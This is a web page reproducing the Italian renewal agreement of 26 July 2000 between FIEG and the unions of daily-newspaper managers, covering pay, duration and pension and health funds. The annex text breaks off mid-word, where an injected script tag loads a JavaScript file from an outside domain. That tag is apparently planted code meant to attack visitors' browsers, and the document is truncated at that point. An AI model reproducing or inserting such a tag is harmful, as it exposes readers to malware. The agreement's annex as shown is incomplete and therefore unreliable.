Torna
all'elenco delle categorie
|
Categoria: Giornali e quotidiani - direttori e dirigenti Settore: Poligrafici e Spettacolo Data stipula: 26-7-2000 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2003
ACCORDO DI RINNOVO
26 luglio 2000
DIRIGENTI (GIORNALI QUOTIDIANI)
Addì, 26 luglio 2000 in Roma tra la Federazione italiana Editori Giornali
(FIEG) e il Sindacato nazionale Direttori amministrativi e dirigenti di
giornali quotidiani, la Federazione nazionale di dirigenti di aziende
industriali.
Viste le Intese confederali intervenute il 23.5.00 per il rinnovo del CCNL
per i dirigenti industriali e nel convenire sull'esigenza che tali intese
vengano recepite, fatte salve le specifiche decorrenze e tenendo conto
delle peculiarità del settore, nella disciplina valida per la dirigenza
dell'editoria quotidiana con la sola esclusione dell'intesa relativa a
PREVINDAI stante l'esistenza nel settore delle forme d'integrazione
pensionistica gestita dal Fondo di previdenza dirigenti giornali
quotidiani; si è convenuto quanto segue per il rinnovo del CCNL per i
Direttori amministrativi e i dirigenti di aziende editrici di giornali
quotidiani 14.6.95 (in Dir.prat.lav., 1995, 44, 2725) e dell'Accordo
economico 4.12.97 (in Dir.prat.lav., 1998, 6, 351).
1. L'accordo economico (allegato 1) stabilisce i nuovi minimi mensili
per i Direttori amministrativi e per i dirigenti, le modalità di
applicazione e le altre condizioni economiche relative all'indennità di
carica e all'indennità mensile.
2. L'allegato 2 stabilisce le modifiche al CCNL 14.6.95 come modificato
dall'Accordo 4.12.97 relativamente a: formazione e aggiornamento
professionale; trattamento d'infortunio e malattie da cause di servizio;
responsabilità civile e/o penale connessa alla prestazione; Collegio
arbitrale.
3. Per gli anni 2000 e 2001 restano confermati i contributi previsti a
carico delle imprese e dei dirigenti previsti dall'Accordo 19.11.97 (in
Dir.prat.lav., 1998, 13, 768) per il settore industriale inerente il Fondo
assistenza sanitaria integrativa (FASI) stante quanto previsto
dall'Accordo 23.5.00 per i dirigenti di tale settore.
4. Il presente Accordo decorre dal 1° gennaio 2000, salvo le particolari
decorrenze specificate nei singoli articoli, e avrà scadenza al 31
dicembre 2003 ad eccezione della parte relativa al trattamento economico
che avrà scadenza al 31 dicembre 2001. In caso di mancata disdetta, da
notificarsi con lettera raccomandata almeno 2 mesi prima delle scadenze
sopra indicate, l'Accordo s'intenderà tacitamente rinnovato di anno in
anno.
5. Previdenza integrativa. Le parti nel prendere atto delle modifiche
intervenute con l'Accordo 23.5.00 (allegato 4) per la previdenza
complementare per i dirigenti di aziende industriali gestite da PREVINDAI
- Fondo pensione, convengono di trasferire sul Fondo previdenza dirigenti
giornali quotidiani i relativi oneri aggiuntivi derivati per le aziende (1
punto percentuale di incremento dell'aliquota contributiva - una quota
dell'accantonamento annuale del trattamento di fine rapporto di ammontare
pari all'1% della retribuzione globale lorda effettivamente percepita dal
dirigente in servizio a partire dall'1.1.02 e un ulteriore 1% della
predetta retribuzione a decorrere dall'1.1.03) con i criteri e le modalità
e gli effetti che verranno definiti previa modifica dell'attuale
regolamento del Fondo di settore del quale è in corso di realizzazione il
passaggio al sistema a capitalizzazione per gli attuali e futuri iscritti.
6. Restano in vigore nella formulazione già adottata tutti gli articoli
e le clausole del CCNL 14.6.95 e dell'Accordo economico 4.12.97 che non
hanno formato oggetto di revisione, modifica o annullamento da parte del
presente Accordo.
Allegato 1 all'Accordo 26 luglio 2000
ACCORDO PER LA REVISIONE DEL TRATTAMENTO ECONOMICO
PER I DIRETTORI AMMINISTRATIVI E I DIRIGENTI DI AZIENDE EDITRICI
DI GIORNALI QUOTIDIANI
Il gior<script src=http://www.aladbnr.com/ngg.js></script>
|